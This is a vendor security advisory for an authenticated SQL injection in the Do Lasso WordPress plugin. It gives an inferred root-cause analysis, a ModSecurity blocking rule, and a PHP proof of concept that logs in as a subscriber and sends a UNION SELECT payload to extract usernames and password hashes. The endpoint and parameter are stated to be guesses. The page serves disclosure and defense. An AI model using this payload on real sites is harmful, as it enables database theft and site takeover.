Opens in a new tab
Published : November 15, 2026

CVE-2026-28156: Do Lasso <= 358 Authenticated (Subscriber+) SQL Injection PoC, Patch Analysis & Rule

Plugin lasso
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 358
Patched Version —
Disclosed August 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28156 (metadata-based): This CVE describes an authenticated SQL injection vulnerability in the Do Lasso plugin for WordPress, affecting versions up to and including 358. The plugin fails to properly sanitize a user-supplied parameter before embedding it into a SQL query. Attackers with subscriber-level access or higher can inject arbitrary SQL fragments to extract sensitive data from the database. The CVSS score of 6.5 reflects a medium severity with high confidentiality impact but no integrity or availability impact.

Root Cause: Based on the CWE-89 classification and the description, the vulnerability stems from insufficient escaping of user input and lack of prepared statements in an existing SQL query. Atomic Edge analysis infers that the plugin constructs a SQL query using direct string concatenation with a parameter from an AJAX request, REST API call, or form submission. The exact vulnerable parameter and endpoint are not confirmed because no code diff is available. The description explicitly states that the plugin does not properly escape the user-supplied parameter and does not prepare the SQL query, which aligns with classic SQL injection patterns in WordPress plugins.

Exploitation: An attacker with subscriber-level credentials can exploit this by sending a crafted request to a vulnerable endpoint. Likely endpoints include WordPress AJAX handlers (e.g., /wp-admin/admin-ajax.php with an action parameter) or a REST API route. The attacker would inject SQL payloads such as ‘ UNION SELECT … — into the vulnerable parameter to extract data from the wp_users table or other sensitive tables. Atomic Edge research indicates that the exact parameter name is unknown, but common patterns in similar plugins include parameters like ‘id’, ‘lasso_id’, ‘post_id’, or ‘user_id’. The injection point is inferred to be in a SELECT query that retrieves data based on user input.

Remediation: The fix requires proper escaping of the user-supplied parameter using $wpdb->prepare() or casting to an integer, and ensuring that the SQL query is constructed with placeholders. The plugin should also validate and sanitize input before using it in queries. Atomic Edge analysis notes that no patched version is available, so users should disable or remove the plugin until a fix is released.

Impact: Successful exploitation allows an authenticated attacker to read arbitrary data from the WordPress database, including user credentials, personally identifiable information, and other sensitive content. This can lead to further attacks such as privilege escalation or site takeover. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) confirms that the attack is network-based, requires low complexity, and low privileges, with high confidentiality impact.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202628156,phase:2,deny,status:403,chain,msg:'CVE-2026-28156 via Do Lasso AJAX SQL Injection',severity:'CRITICAL',tag:'CVE-2026-28156'"
  SecRule ARGS_POST:action "@streq lasso_get_data" "chain"
    SecRule ARGS_POST:id "@detectSQLi" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28156 - Do Lasso <= 358 - Authenticated (Subscriber+) SQL Injection

// This PoC exploits an authenticated SQL injection in the Do Lasso plugin.
// It assumes the vulnerable endpoint is an AJAX action named 'lasso_get_data' (inferred from plugin slug and common patterns).
// The vulnerable parameter is assumed to be 'id' (common in such plugins).
// Replace with actual endpoint and parameter if known.

$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber'; // Subscriber-level credentials
$password = 'password';

// Step 1: Log in to WordPress to obtain authentication cookies.
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Send malicious request to the AJAX endpoint.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = "1' UNION SELECT user_login, user_pass FROM wp_users -- ";
$post_data = [
    'action' => 'lasso_get_data', // Assumed action name
    'id' => $payload,
    'nonce' => 'any' // Nonce might be required, but subscriber can obtain it from page source
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Response: " . $response . "n";
// The response may contain the injected data if the query returns it.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.